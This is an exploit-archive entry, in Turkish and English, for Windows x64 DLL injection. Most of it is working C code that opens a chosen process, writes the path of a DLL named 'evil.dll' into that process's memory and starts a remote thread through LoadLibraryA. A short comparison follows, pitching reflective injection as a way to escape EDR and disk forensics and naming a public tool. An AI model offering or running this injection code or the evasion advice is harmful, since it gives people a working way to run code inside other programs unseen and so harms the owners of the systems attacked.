VULN REPORT
/
shellcode
/
ID: 258
Windows/x64 DLL Injection - LoadLibrary ve Reflective Yontemler
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 27 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_258.txt
Modern Teknik - Windows x64 - DLL Injection
Windows/x64 DLL Injection - LoadLibrary ve Reflective
DLL Injection, hedef Windows process'ine harici DLL yukletarak kod calistirmanin en yaygin yontemlerinden biridir.
LoadLibraryA DLL Injection
#include
int main(int argc, char* argv[]) {
DWORD pid = atoi(argv[1]);
const char* dll = "C:\\evil.dll";
HANDLE hP = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID m = VirtualAllocEx(hP, NULL, strlen(dll)+1,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hP, m, dll, strlen(dll)+1, NULL);
HMODULE k32 = GetModuleHandle("kernel32.dll");
FARPROC ll = GetProcAddress(k32, "LoadLibraryA");
HANDLE hT = CreateRemoteThread(hP, NULL, 0,
(LPTHREAD_START_ROUTINE)ll, m, 0, NULL);
WaitForSingleObject(hT, INFINITE);
}
Klasik vs Reflective
Klasik DLL Injection:
Disk'e DLL yazilmasi gerekir
LoadLibrary API logu olusturur
EDR kolayca tespit eder
Reflective DLL Injection:
DLL bellekte kalir, diske yazilmaz
LoadLibrary cagirilmaz
Disk forensics'i karsi gorünmez
Arac: ReflectiveDLLInjection (stephenfewer)
Entry Stats
Views
27
Downloads
5
Comments
0